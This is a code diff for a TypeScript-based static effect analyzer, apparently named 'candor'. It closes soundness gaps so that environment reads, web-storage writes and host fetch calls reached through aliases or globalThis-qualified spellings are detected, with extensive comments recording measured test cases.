+ * answers "yes, keep the owner", so an unanswerable case over-approximates visibly rather than
5377
+ * silently demoting a real owner to `callback:`. That is the direction R363 recorded as the one
5378
+ * nothing warns about. */
5379
+ const ownerDeclaresMember = (ownerDecl, memberName) => {
5380
+ if (!ownerDecl || !memberName) return true;
5381
+ try {
5382
+ const sym = ownerDecl.name && checker.getSymbolAtLocation(ownerDecl.name);
5383
+ if (!sym) return true;
5384
+ const t = checker.getDeclaredTypeOfSymbol(sym);
5385
+ if (!t) return true;
5386
+ return !!checker.getPropertyOfType(t, memberName);
5387
+ } catch { return true; }
5388
+ };
5389
+
5390
+ /** The owner qual for a member whose immediate parent may be an ANONYMOUS type literal. Falls back to
5391
+ * the nearest NAMED type declaration, VERIFIED to have the member; null when there genuinely is not
5392
+ * one, or when the one found does not declare it. */
5393
+ const memberOwnerQual = (member) => {
5394
+ if (member?.parent?.name) return qualifiedTypeName(member.parent);
5395
+ const anc = namedTypeAncestor(member);
5396
+ const name = member?.name?.getText?.();
5397
+ return ownerDeclaresMember(anc, name) ? qualifiedTypeName(anc) : null;
5398
+ };
5399
+
4300
5400
  // ⟨THE FUNNEL⟩ Every site that reaches a resolved EXTERNAL declaration whose own κ lookup found nothing
4301
5401
  // answers the SAME question — chained sibling report, §5.1 manifest, κ-coverage ledger, or the
4302
5402
  // unanswerable-key disclosure — and it used to answer it up to four times over, independently, in the
@@ -4312,11 +5412,15 @@ const dispatchWhy = (qualifiedOwner, member) =>
4312
5412
  // or the dependency's own report already answered by omission — SPEC §2 rule 3) — never a fourth,
4313
5413
  // unexamined silent case. Called directly for a resolved external CallExpression too (see the CLASSIFY
4314
5414
  // arm and the tagged-template arm) so the whole family shares one implementation.
4315
- function disclosureTail(rec, decl, pkg, file) {
5415
+ // ⟨R137⟩ `member` is the SAME token κ was asked with at the caller, threaded rather than re-derived
5416
+ // here: the ledger's question is "did κ cover THIS call", and re-deriving the member from `decl` would
5417
+ // be a second spelling of it that could drift from the first (§G — where two paths compute one fact,
5418
+ // make them disagree; better still, do not have two).
5419
+ function disclosureTail(rec, decl, pkg, file, member) {
4316
5420
  const declared = packageManifestEffects(file);
4317
5421
  if (declared !== null) { for (const e of declared) rec.direct.add(e); return; } // [] = declared pure
4318
5422
  const abstraction = unanswerableKey(decl);
4319
- if (!kappaKnows(pkg) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
5423
+ if (!kappaKnows(pkg, member) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
4320
5424
  unlistedSeen.set(pkg, (unlistedSeen.get(pkg) ?? 0) + 1);
4321
5425
  rec.blind.add(pkg);
4322
5426
  // ⟨0.21⟩ A package chained ONLY by a SELF-DECLARED-INCOMPLETE report reaches this arm because its
@@ -4371,7 +5475,7 @@ function chargeExternalDecl(rec, decl, tailOverride) {
4371
5475
  : member && ((owner ? crossDeps.get(`${pkg}#${owner}.${member}`) : undefined)
4372
5476
  ?? crossDeps.get(`${pkg}#${member}`));
4373
5477
  if (hit) { applyDepHit(rec, hit); return; }
4374
- disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName);
5478
+ disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName, member);
4375
5479
  }
4376
5480
 
4377
5481
  // ---- implicit VALUE-COERCION desugaring (the silent-pure holes where the JS coercion protocol calls a
@@ -4394,10 +5498,28 @@ function isCoercionMemberDecl(m) {
4394
5498
  || ts.isPropertyDeclaration(m) || ts.isPropertyAssignment(m)
4395
5499
  || ts.isFunctionDeclaration(m) || ts.isFunctionExpression(m) || ts.isArrowFunction(m));
4396
5500
  }
4397
- // Find member `name` declared on LOCAL class `cls` or the nearest local ancestor that declares it.
5501
+ // Find member `name` declared on LOCAL class/structural-implementor `cls` or the nearest local ancestor
5502
+ // that declares it. `cls` comes from `coercionChaClasses`, which (since PART 87) reads the SAME
5503
+ // `interfaceImpls` registry the ordinary interface-CHA dispatch site reads — and that registry now holds
5504
+ // structural implementors (`ObjectLiteralExpression`, `.properties`) alongside nominal classes
5505
+ // (`ClassDeclaration`/`ClassExpression`, `.members`), never guaranteed to be one shape.
5506
+ //
5507
+ // ⟨CARDINAL SIN FIX, coercion-CHA structural gap⟩ this used to read only `cur.members`, so a structural
5508
+ // implementor's `.properties` was invisible: `(undefined ?? []).find(...)` always empty, never a match,
5509
+ // never a crash — "degrades gracefully" in the sense of not throwing, but it silently dropped every
5510
+ // coercion member a structural implementor declared. MEASURED (candor-attack2, 2026-09-01): an interface
5511
+ // implemented ONLY structurally, with an effectful `toString`, coerced via a template literal — PRE-PART-
5512
+ // 87 this correctly charged `<module>` with Fs (the un-minted object-literal body was walked inline, as
5513
+ // part of whatever textually contained it); POST-PART-87 the SAME `toString` is extracted into its own
5514
+ // addressable unit by `mintStructuralMembers` (correct — it is no longer folded into an enclosing scope's
5515
+ // direct effects) but this function could never find it to edge to it, so the extraction cost the
5516
+ // disclosure it used to get for free and `<module>`/`stringify` both vanished from `functions[]` PURE.
5517
+ // The general interface-CHA dispatch site already has the fix's own shape for this (`cls.members ??
5518
+ // cls.properties ?? []`, its own PART 87 comment) — this mirrors it rather than inventing a second rule.
4398
5519
  function localClassMember(cls, name) {
4399
5520
  for (let cur = cls, guard = 0; cur && guard++ < 64; cur = localBaseClassOf(cur)) {
4400
- const m = (cur.members ?? []).find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
5521
+ const memberNodes = cur.members ?? cur.properties ?? [];
5522
+ const m = memberNodes.find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
4401
5523
  if (m && declIsLocal(m)) return m;
4402
5524
  }
4403
5525
  return null;
@@ -4834,6 +5956,15 @@ const declImportsNodeProcess = (decl) => {
4834
5956
  const text = spec && ts.isStringLiteral(spec) ? spec.text : null;
4835
5957
  return text === "node:process" || text === "process";
4836
5958
  };
5959
+ // R93: a local SYMBOL that merely HOLDS the global process object — `const p = globalThis.process`,
5960
+ // `const { process } = globalThis as any` — was indistinguishable from a project-local `process` shadow,
5961
+ // because both have their OWN declaration inside a project file, and that was the entire test below for
5962
+ // "is this the ambient global". Reaching the object through a variable does not change its identity;
5963
+ // `identIsGlobalProcess` must not treat it as if it did. `processAliasSymbols` is the single authority
5964
+ // both the bare-identifier check below AND the `{env} = process` destructure detection already
5965
+ // downstream consult — the fix in one place, per brief §F1 item 3 ("make the two paths share one
5966
+ // authority", not patch the losing copy). Populated by the pre-pass immediately below.
5967
+ const processAliasSymbols = new Set();
4837
5968
  const identIsGlobalProcess = (id) => {
4838
5969
  if (!id) return false;
4839
5970
  // `globalThis.process` / `global.process` — the SAME process object reached off the global (isomorphic code:
@@ -4847,11 +5978,60 @@ const identIsGlobalProcess = (id) => {
4847
5978
  return !gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
4848
5979
  }
4849
5980
  }
4850
- if (!ts.isIdentifier(id) || id.text !== "process") return false;
4851
- const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
4852
- if (decls.some(declImportsNodeProcess)) return true; // `import process from 'node:process'`
4853
- return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))); // else the ambient global
5981
+ if (!ts.isIdentifier(id)) return false;
5982
+ if (id.text === "process") {
5983
+ const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
5984
+ if (decls.some(declImportsNodeProcess)) return true; // `import process from 'node:process'`
5985
+ if (!decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) return true; // ambient global
5986
+ }
5987
+ // A local binding under ANY name (`p`, `process`, whatever) whose sole initializer is confirmed —
5988
+ // by the pre-pass below — to be the global process object itself.
5989
+ const sym = checker.getSymbolAtLocation(id);
5990
+ return !!sym && processAliasSymbols.has(sym);
4854
5991
  };
5992
+ // Pre-pass: a variable is a process alias iff EITHER (a) a plain identifier bound `= globalThis.process`
5993
+ // / `= global.process` / `= process` (bare, ambient — casts/parens/`!` unwrapped), or (b) an object
5994
+ // destructure that picks `process` (by property name, any local alias — `{ process }` or
5995
+ // `{ process: p }`) directly off an ambient `globalThis`/`global` root. No reassignment-clearing here
5996
+ // (unlike envAliasSymbols): a `let` rebound to something else is a narrowing this pass does not attempt,
5997
+ // so it is conservative in the SAFE direction only if downstream never mutates a `const`-only signal —
5998
+ // callers only ever declare these `const` in practice; a `let` reassigned away still resolves any READ
5999
+ // before the reassignment correctly and any read after it would need flow-sensitivity this class of
6000
+ // alias-set does not have anywhere else in this file either (see envAliasSymbols for the same posture).
6001
+ {
6002
+ const isGlobalProcessInitializer = (expr) => {
6003
+ if (!expr) return false;
6004
+ let e = expr;
6005
+ while (ts.isParenthesizedExpression(e) || ts.isAsExpression(e) || ts.isNonNullExpression(e)) e = e.expression;
6006
+ return identIsGlobalProcess(e); // handles `globalThis.process` / `global.process` / bare ambient `process`
6007
+ };
6008
+ const collectProcessAliases = (node) => {
6009
+ if (ts.isVariableDeclaration(node) && node.name && ts.isIdentifier(node.name) && node.initializer) {
6010
+ if (isGlobalProcessInitializer(node.initializer)) {
6011
+ const sym = checker.getSymbolAtLocation(node.name);
6012
+ if (sym) processAliasSymbols.add(sym);
6013
+ }
6014
+ } else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name) && node.initializer) {
6015
+ let root = node.initializer;
6016
+ while (ts.isParenthesizedExpression(root) || ts.isAsExpression(root) || ts.isNonNullExpression(root)) root = root.expression;
6017
+ if (ts.isIdentifier(root) && (root.text === "globalThis" || root.text === "global")) {
6018
+ const gd = checker.getSymbolAtLocation(root)?.declarations ?? [];
6019
+ if (!gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) {
6020
+ for (const el of node.name.elements) {
6021
+ const propName = el.propertyName ? (ts.isIdentifier(el.propertyName) ? el.propertyName.text : null)
6022
+ : (ts.isIdentifier(el.name) ? el.name.text : null);
6023
+ if (propName === "process" && ts.isIdentifier(el.name)) {
6024
+ const sym = checker.getSymbolAtLocation(el.name);
6025
+ if (sym) processAliasSymbols.add(sym);
6026
+ }
6027
+ }
6028
+ }
6029
+ }
6030
+ }
6031
+ ts.forEachChild(node, collectProcessAliases);
6032
+ };
6033
+ for (const sf of sources) collectProcessAliases(sf);
6034
+ }
4855
6035
  // `process.env` as an expression (PropertyAccess `process.env` where `process` is the global).
4856
6036
  const isProcessEnvExpr = (expr) =>
4857
6037
  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
@@ -4926,6 +6106,49 @@ const identIsEnvMayAlias = (id) => {
4926
6106
  return !!sym && envMayAliasSymbols.has(sym);
4927
6107
  };
4928
6108
 
6109
+ // R113 — WEB STORAGE, IDENTIFIED FROM THE RECEIVER'S TYPE rather than from the member's declaration.
6110
+ // R109 charged `localStorage.setItem(k, v)` by keying on the resolved MEMBER — `decl.parent.name ===
6111
+ // "Storage"` in the es-lib arm. That reading can only see a member the interface DECLARES. `Storage` also
6112
+ // carries an INDEX SIGNATURE (`[name: string]: any` — in lib.dom AND in @types/node's
6113
+ // `web-globals/storage.d.ts`, identically), so `localStorage.x = secret` resolves to no declaration at
6114
+ // all, no accessor exists for the property arm to find, and the write was reported as NOTHING in BOTH
6115
+ // lib configurations.
6116
+ //
6117
+ // GROUND TRUTH IS EXECUTED, node 22.12.0 with `--experimental-webstorage --localstorage-file=./ls.db`:
6118
+ // process 1 runs `localStorage.x = "SECRET"; localStorage["tok"] = "SECRET"`, process 2 reads both back.
6119
+ // The index-signature write PERSISTS ACROSS PROCESSES, byte-identically to the `setItem` call that IS
6120
+ // charged. `debug` publishes `localStorage.debug = 'worker:*'` as its documented browser API and
6121
+ // `util-deprecate/browser.js` does `global.localStorage[name]`, so this is the spelling real code uses.
6122
+ //
6123
+ // R109's OWN COMMENT DISMISSED THIS ROW — "the `localStorage.x = v` INDEX-SIGNATURE spelling is untouched
6124
+ // and still pure — pure under @types/node too, so it is not part of this split." Every literal word was
6125
+ // true. The conclusion was not: both arms agreeing is not a safety property, it is the R111 failure mode.
6126
+ // Attack K, in the comment that made the previous fix look complete.
6127
+ //
6128
+ // KEYED ON THE RECEIVER'S TYPE SYMBOL, which is the identity the call arm already uses — one step
6129
+ // earlier in the same chain, so it reaches the members the interface never named. It also gets the alias
6130
+ // and parameter spellings for free: `const ls = localStorage; ls.x = v`, `window.localStorage.x = v`,
6131
+ // `sessionStorage.x = v` and `function f(s: Storage) { s.x = v }` all have a `Storage`-typed receiver and
6132
+ // no new branch. FABRICATION GUARD: the type symbol must have a declaration in `typescript/lib/lib.*.d.ts`
6133
+ // or under `@types/node/`, so a project's own `interface Storage` / `class Storage` is never charged
6134
+ // (measured, not argued — the shadow control in test.mjs).
6135
+ //
6136
+ // `some`, not `every`: this INCLUDES rather than excludes, so the conservative direction is to charge on
6137
+ // any host declaration. Under @types/node the symbol legitimately carries two declarations (the
6138
+ // module-local `interface Storage` and the `declare global { interface Storage extends _Storage {} }`
6139
+ // merge), and `every` would have to be right about both.
6140
+ const webStorageDeclFile = (d) => {
6141
+ const f = path.resolve(d.getSourceFile().fileName).replace(/\\/g, "/");
6142
+ return /typescript\/lib\/lib\..*\.d\.ts$/.test(f) || declIsNodeTypes(d);
6143
+ };
6144
+ const isWebStorageExpr = (expr) => {
6145
+ if (!expr) return false;
6146
+ let t; try { t = checker.getTypeAtLocation(expr); } catch { return false; }
6147
+ const sym = t && (t.symbol ?? t.aliasSymbol);
6148
+ if (!sym || sym.name !== "Storage") return false;
6149
+ return (sym.declarations ?? []).some(webStorageDeclFile);
6150
+ };
6151
+
4929
6152
  // ---- whole-object process.env access via builtins/spread ------------------------------------------------
4930
6153
  // `process.env.KEY` is caught above, but the WHOLE env object handed to a builtin that enumerates or mutates it
4931
6154
  // is the same Env effect and read silent-pure: `Object.assign(process.env, o)` / `Object.defineProperty(...)` /
@@ -4946,17 +6169,229 @@ const ENV_TOUCHING_BUILTIN = new Set([
4946
6169
  const ENV_TOUCHING_GLOBAL = new Set(["structuredClone"]);
4947
6170
  const identIsGlobal = (id) => // an identifier that is the ambient global (no project-local declaration shadows it)
4948
6171
  !(checker.getSymbolAtLocation(id)?.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
6172
+ // THE `globalThis.` QUALIFIER, WHICH DEFEATED FIVE TEXT-KEYED ARMS AT ONCE (SOUNDNESS row id pending —
6173
+ // filed by the coordinator, not invented here). Every arm below
6174
+ // recognises a whole-object builtin by the callee's TEXT (`Object.assign`, `Reflect.set`, `Object.keys`),
6175
+ // and `globalThis.Object.assign(...)` is the same function under a different spelling. MEASURED, one
6176
+ // file, `tsc --noEmit` clean, each pair differing ONLY in the qualifier:
6177
+ //
6178
+ // Object.assign(sink, {token:1}) ["Fs"] globalThis.Object.assign(…) ABSENT
6179
+ // Reflect.set(sink, "token", 1) ["Fs"] globalThis.Reflect.set(…) ABSENT
6180
+ // Object.assign({}, literalWithGetter) ["Unknown"] globalThis.Object.assign(…) ABSENT
6181
+ // Object.keys(process.env) ["Env"] globalThis.Object.keys(env) ABSENT
6182
+ // Object.keys(localStorage) ["Unknown"] globalThis.Object.keys(ls) ABSENT
6183
+ //
6184
+ // Ground truth EXECUTED on node 22.12.0: `globalThis.Object.assign`, `globalThis.Reflect.set` and the
6185
+ // bare spellings each invoke the accessor exactly once; `globalThis.Object.keys(process.env)` reads the
6186
+ // whole environment. Five arms, one spelling, and the `Env` one is a whole-environment read reported as
6187
+ // nothing. This is R95's `globalThis.fetch` class, one builtin family over.
6188
+ //
6189
+ // RETURNS THE CANONICAL `Owner.member` TEXT for a call whose callee is a member of an ambient global
6190
+ // builtin, reached BARE or through a proven-global `globalThis`/`global`/`window`/`self` root (parens,
6191
+ // `as` casts and `!` unwrapped, as `identIsGlobalProcess` already does for the process object). Returns
6192
+ // null for anything else, so a project's own `Object` — bare or hung off a project-shadowed root — is
6193
+ // never matched. It can only make an existing text test recognise MORE spellings of the same function;
6194
+ // it cannot make one stop matching.
6195
+ const GLOBAL_ROOTS = new Set(["globalThis", "global", "window", "self"]);
6196
+ const globalBuiltinCallee = (callee) => {
6197
+ if (!callee || !ts.isPropertyAccessExpression(callee)) return null;
6198
+ const member = callee.name?.text;
6199
+ if (!member) return null;
6200
+ let owner = callee.expression;
6201
+ while (owner && (ts.isParenthesizedExpression(owner) || ts.isAsExpression(owner)
6202
+ || ts.isNonNullExpression(owner))) owner = owner.expression;
6203
+ if (ts.isIdentifier(owner)) return identIsGlobal(owner) ? `${owner.text}.${member}` : null;
6204
+ if (!ts.isPropertyAccessExpression(owner) || !owner.name?.text) return null;
6205
+ let root = owner.expression;
6206
+ while (root && (ts.isParenthesizedExpression(root) || ts.isAsExpression(root)
6207
+ || ts.isNonNullExpression(root))) root = root.expression;
6208
+ if (!ts.isIdentifier(root) || !GLOBAL_ROOTS.has(root.text) || !identIsGlobal(root)) return null;
6209
+ return `${owner.name.text}.${member}`;
6210
+ };
6211
+ // SOUNDNESS R281 — THE SAME QUESTION FOR A **BARE** GLOBAL, AND THE TABLE THE QUALIFIER FIX DID NOT REACH.
6212
+ // `globalBuiltinCallee` above canonicalises a MEMBER of a global object (`globalThis.Object.assign` ->
6213
+ // `Object.assign`). `structuredClone` is not a member of anything — it is a bare global — so it lives in
6214
+ // its own table (`ENV_TOUCHING_GLOBAL`) whose two consumers both tested `ts.isIdentifier(callee)`, and a
6215
+ // qualified spelling is a PropertyAccess. `f58dc0f` fixed FIVE member-keyed arms by routing them through
6216
+ // the helper above and left this one; `9a0cfd9` (R252) then added a NEW consumer of the same table with
6217
+ // the same identifier test, so it was born with the hole its sibling commit had just closed.
6218
+ //
6219
+ // MEASURED at 9a0cfd9, three isolated trees each containing exactly one function, `tsc --noEmit` clean:
6220
+ //
6221
+ // structuredClone(process.env) functions[] = [["src.only.leak",["Env"]]] deny Env -> 1
6222
+ // globalThis.structuredClone(process.env) functions[] = [] deny Env -> 0
6223
+ // window.structuredClone(process.env) functions[] = [] deny Env -> 0
6224
+ // self.structuredClone(process.env) functions[] = [] deny Env -> 0
6225
+ //
6226
+ // and `deny Unknown`, `deny Env Unknown`, `pure src.only.leak` and `deny Env src.only.leak` ALL exit 0 on
6227
+ // the three qualified spellings, with the scoped rule BINDING (a bogus name prints `matched NO function`;
6228
+ // these do not). No incidental catch anywhere — a whole-environment read reported as nothing at all.
6229
+ // EXECUTED on node 22.12.0 with `window`/`self` bound to `globalThis` as a browser/worker binds them:
6230
+ // each spelling really clones all 66 variables, a planted `CANDOR_SECRET` among them.
6231
+ //
6232
+ // `window.`/`self.` were asserted "identical BY CONSTRUCTION" in the row that filed this; they are not
6233
+ // asserted here, they are the two rows above, run.
6234
+ //
6235
+ // Returns the BARE global name a callee resolves to, or null. Shadow-guarded by the same `identIsGlobal`
6236
+ // the member helper uses, on the identifier that actually decides: the bare callee itself, or the
6237
+ // `globalThis`/`global`/`window`/`self` root. It can only make an existing text test recognise MORE
6238
+ // spellings of the same function; a project's own `structuredClone`, bare or hung off a shadowed root,
6239
+ // still matches nothing.
6240
+ const globalBareCallee = (callee) => {
6241
+ if (!callee) return null;
6242
+ if (ts.isIdentifier(callee)) return identIsGlobal(callee) ? callee.text : null;
6243
+ if (!ts.isPropertyAccessExpression(callee) || !callee.name?.text) return null;
6244
+ let root = callee.expression;
6245
+ while (root && (ts.isParenthesizedExpression(root) || ts.isAsExpression(root)
6246
+ || ts.isNonNullExpression(root))) root = root.expression;
6247
+ // ONLY a global ROOT, never an arbitrary owner: `Object.assign` must not read as the bare global
6248
+ // `assign`, and `globalThis.Object.assign` must not read as the bare global `Object` — both are the
6249
+ // member helper's business, and answering them here would be the second copy §G exists to prevent.
6250
+ return ts.isIdentifier(root) && GLOBAL_ROOTS.has(root.text) && identIsGlobal(root) ? callee.name.text : null;
6251
+ };
4949
6252
  // True when `node` is a call to a global builtin that reads/writes every key of an object argument (so any
4950
6253
  // env-object argument makes the enclosing fn Env): `Object.*`/`Reflect.*`/`JSON.stringify` (member) or
4951
6254
  // `structuredClone` (bare). Guarded against a project-local shadow of the callee.
4952
6255
  const envTouchingBuiltinCall = (node) => {
4953
6256
  if (!ts.isCallExpression(node)) return false;
4954
6257
  const c = node.expression;
4955
- if (ts.isPropertyAccessExpression(c) && ts.isIdentifier(c.expression))
4956
- return ENV_TOUCHING_BUILTIN.has(`${c.expression.text}.${c.name.text}`) && identIsGlobal(c.expression);
4957
- if (ts.isIdentifier(c)) return ENV_TOUCHING_GLOBAL.has(c.text) && identIsGlobal(c);
6258
+ // THE `globalThis.` QUALIFIER (SOUNDNESS row id pending — filed by the coordinator) — through
6259
+ // `globalBuiltinCallee`, so `globalThis.Object.keys(process.env)` is the same call
6260
+ // as `Object.keys(process.env)`. The old test required `c.expression` to be an IDENTIFIER, so the
6261
+ // qualified spelling produced `"undefined.keys"` and read false: a whole-environment read reported as
6262
+ // nothing. The shadow guard moves INTO the helper (it still checks `identIsGlobal` on the root), so
6263
+ // this is not a widening of what counts as global, only of how it may be spelled.
6264
+ if (ts.isPropertyAccessExpression(c) && ENV_TOUCHING_BUILTIN.has(globalBuiltinCallee(c) ?? "")) return true;
6265
+ // R281 — the bare-global table, through `globalBareCallee`, so `globalThis.structuredClone(process.env)`
6266
+ // is the same call as `structuredClone(process.env)`. The old test required an IDENTIFIER callee, so
6267
+ // every qualified spelling read false: a whole-environment read reported as nothing. NOT a widening of
6268
+ // what counts as global — the helper still asks `identIsGlobal` — only of how it may be spelled.
6269
+ return ENV_TOUCHING_GLOBAL.has(globalBareCallee(c) ?? "");
6270
+ };
6271
+
6272
+ /** ⟨R95⟩ Does this CALL reach the host's `fetch`, whatever the callee is spelled as?
6273
+ *
6274
+ * The declaration-keyed twin of the callee-keyed guards in the global classifier (see the arm that uses
6275
+ * it for the five spellings those guards missed). Four conditions, each one load-bearing:
6276
+ *
6277
+ * 1. AMBIENT FUNCTION NAMED `fetch`. The host's fetch is a bodyless `function fetch` declaration:
6278
+ * `@types/node`'s `web-globals/fetch.d.ts` inside its `declare global` block (what `types: ["node"]`
6279
+ * supplies, so the common case), lib.dom's `declare function fetch`, or an older @types/node's
6280
+ * `globals.d.ts`. Keying on the FILE would have to enumerate those three and would go stale with the
6281
+ * next @types/node layout — this shape does not.
6282
+ * THE `d.body` HALF IS A SCOPE STATEMENT, NOT A PROVEN GUARANTEE, and is written down as the
6283
+ * assumption it is: it keeps this arm off DEPENDENCY IMPLEMENTATIONS, where "returns
6284
+ * `Promise<Response>`" is a weak signal (a pure `function fetch(u) { return new Response(u) }` has
6285
+ * that exact type), leaving those to the import arm above and the κ/invisible channel that already
6286
+ * own them. No fixture drives it: every dep-source shape tried was already charged Net by an
6287
+ * earlier arm, so deleting it changed nothing measurable. Narrower than the alternative, which is
6288
+ * the side to be wrong on here.
6289
+ * 2. NOT A PROJECT FILE. A project's own `fetch` shadow must never fabricate Net — control 3, and the
6290
+ * same test every arm above makes.
6291
+ * 3. THE RESOLVED DECLARATION IS A GLOBAL, unless it crosses a package boundary. ⟨R121 — THIS
6292
+ * REPLACES A GUARD THAT WAS WRONG IN BOTH DIRECTIONS AT ONCE.⟩ The guard here used to ask whether
6293
+ * the CALLEE'S HEAD IDENTIFIER came from a RELATIVE import, and both halves of that failed:
6294
+ *
6295
+ * FABRICATION — one binding hop erases the import from the head identifier, so a project-owned
6296
+ * shim was charged Net. MEASURED at 30fc8ea by PRINTING the resolved declaration, not by reading
6297
+ * the code, over a `vendor/shim.ts` whose implementation returns a canned Response and touches
6298
+ * nothing (`export function fetch(u): Promise<Response>;` × 2 overloads + a pure body):
6299
+ *
6300
+ * const { fetch } = shimNamespace; fetch(u) head=BindingElement → Net FABRICATED
6301
+ * const { fetch } = shimDefault; fetch(u) head=BindingElement → Net FABRICATED
6302
+ * const f = shim.fetch; f(u) head=VariableDeclaration→ Net FABRICATED
6303
+ * const s = shim; s.fetch(u) head=VariableDeclaration→ Net FABRICATED
6304
+ * import * as shim from "./shim"; shim.fetch(u) head=NamespaceImport → absent (guard held)
6305
+ *
6306
+ * and every one of those four printed `RESOLVED_DECL=vendor/shim.ts:1`. So the arm was NOT
6307
+ * "treating a local shim as the host global" — it never asked. It read four proxies for the
6308
+ * host's identity and a project's own OVERLOAD SIGNATURE satisfies three of them (bodyless,
6309
+ * named `fetch`, `Promise<Response>`), with the fourth defeated by the hop.
6310
+ *
6311
+ * SILENCE — the head identifier is not always the fetch value. `slot.fetch(u)`, where
6312
+ * `slot` is relatively imported and `slot = { fetch: globalThis.fetch }`, has head `slot`, so
6313
+ * the old guard rejected on an import that says nothing about which function is being called:
6314
+ * the REAL host fetch, ABSENT, `deny Net` exit 0. Its sibling spelling `const { fetch } = slot`
6315
+ * was charged Net in the same file — one value, two answers, selected by punctuation.
6316
+ *
6317
+ * ASK THE AUTHORITY INSTEAD (§G). The host's `fetch` is a GLOBAL declaration and nothing else is:
6318
+ * it sits inside a `declare global` block (`@types/node/web-globals/fetch.d.ts:23`, printed) or at
6319
+ * the top level of a non-module lib file (lib.dom's `declare function fetch`, printed). A module's
6320
+ * `export function fetch` is reachable only by importing it, so it is never the host global — no
6321
+ * matter where its file lives, whether the scan included it, or how the callee is spelled.
6322
+ * THE DEPENDENCY ESCAPE IS LOAD-BEARING AND IS THE DIRECTION THIS GUARD FAILS IN: a real
6323
+ * DEPENDENCY exports `fetch` module-scoped too (`import * as nf from "node-fetch-native";
6324
+ * const { fetch } = nf; fetch(u)` — the import arm above only sees the direct spelling, so this arm
6325
+ * is the only thing charging the hop). Without the escape that call goes SILENT, so the exclusion
6326
+ * is a DENYLIST of one provable shape — module-scoped AND not reached as a dependency — never an
6327
+ * allowlist of the host's file paths, which would go stale with the next @types/node layout.
6328
+ *
6329
+ * ⟨R138 — THE ESCAPE WAS SPELLED `crossesPackageBoundary` AND THAT ASKED THE WRONG QUESTION.⟩
6330
+ * `crossesPackageBoundary` asks whether some OTHER `package.json` sits above the declaration's
6331
+ * file: a question about the FILESYSTEM. What this arm needs is whether the declaration was
6332
+ * reached AS A DEPENDENCY — a question about the MODULE SPECIFIER, which is the property R95's
6333
+ * guard promised ("the specifier decides, not file-set membership") and which keying on the
6334
+ * filesystem quietly dropped. MEASURED over two trees differing by exactly one one-line file:
6335
+ *
6336
+ * src/main.ts import { fetch } from "../vendor/shim"; fetch(u) e5c60bc HEAD
6337
+ * with vendor/package.json inferred [] ["Net"]
6338
+ * without it inferred [] []
6339
+ *
6340
+ * — one value, two answers, selected by a `{"type":"module"}` marker. EXECUTED against a real
6341
+ * 127.0.0.1 listener: the shim's `fetch` delivers 0 requests and opens 0 TCP connections in both
6342
+ * spellings, while the host's own `fetch` to the same listener in the same process counted 1 and 1.
6343
+ *
6344
+ * ASK THE AUTHORITY, AGAIN (§G). TypeScript's module resolution already recorded the answer:
6345
+ * `program.isSourceFileFromExternalLibrary` is true exactly when a file was reached through node
6346
+ * module resolution rather than a relative path. PRINTED at this arm before the code was written:
6347
+ * `vendor/shim.d.ts` via `../vendor/shim` is FALSE with and without the stray package.json, and a
6348
+ * workspace package's `dist/index.d.ts` reached as `@mono/mock` through a symlink is TRUE even
6349
+ * though its real path has no `node_modules/` segment — which is exactly why the authority here is
6350
+ * the resolution record and not a path test.
6351
+ * WHERE IT FAILS: too narrow ⇒ this arm stops charging Net for a real dependency reached WITHOUT
6352
+ * node module resolution (a tsconfig `paths` alias; a dependency copy vendored into the tree).
6353
+ * Such a call does NOT go silent — `crossesPackageBoundary` still governs the κ-coverage ledger, so
6354
+ * it keeps `invisible:[pkg]`, the honest answer for a body this scan never read (measured: the
6355
+ * shim row above carries `invisible:["vendor-shim"]` with and without this narrowing). Bounded, in
6356
+ * the other direction, to declarations that are both module-scoped and not a resolved dependency —
6357
+ * the project's own source, which candor analyses as its own units and reaches by an EDGE rather
6358
+ * than by this arm. That is the same bargain guard (2) already makes for `projectFiles`, extended
6359
+ * to the project files a given scan's shape happens to leave out.
6360
+ * 4. SHAPED LIKE THE WEB FETCH — returns `Promise<Response>`. Not a new judgement: it is the identical
6361
+ * question the import arm above already asks of the identical authority, and it exists because a
6362
+ * package exporting a pure `fetch(key)` cache-getter was once charged Net on its name alone.
6363
+ *
6364
+ * NOT a `.d.ts` file test: an ambient declaration is what (1) already asks for, and a file-extension
6365
+ * test would add a second, weaker spelling of the same question. */
6366
+ // Is this declaration in GLOBAL scope — `declare global { … }`, or the top level of a source file that
6367
+ // is not an external module? Everything else is reachable only through an import and is therefore some
6368
+ // module's own export, never the host global.
6369
+ const declaredInGlobalScope = (d) => {
6370
+ for (let n = d.parent; n; n = n.parent) {
6371
+ if (ts.isModuleDeclaration(n)) return !!(n.flags & ts.NodeFlags.GlobalAugmentation);
6372
+ if (ts.isSourceFile(n)) return !ts.isExternalModule(n);
6373
+ }
4958
6374
  return false;
4959
6375
  };
6376
+ // ⟨R138⟩ Was this declaration's file reached AS A DEPENDENCY — i.e. through node module resolution
6377
+ // from a bare specifier — rather than through a relative path? `ts.Program` records this while it
6378
+ // resolves, so this is the compiler's own answer to the question, not a second reading of the tree.
6379
+ // Guarded because a declaration synthesised outside the program has no source file the program knows.
6380
+ const declReachedAsDependency = (d) => {
6381
+ try { return program.isSourceFileFromExternalLibrary(d.getSourceFile()); } catch { return false; }
6382
+ };
6383
+ const resolvedIsHostFetch = (call) => {
6384
+ if (!ts.isCallExpression(call)) return false;
6385
+ let sig; try { sig = checker.getResolvedSignature?.(call); } catch { return false; }
6386
+ const d = sig?.declaration;
6387
+ if (!d || !ts.isFunctionDeclaration(d) || d.body) return false; // (1)
6388
+ if (d.name?.text !== "fetch") return false; // (1)
6389
+ const df = path.resolve(d.getSourceFile().fileName);
6390
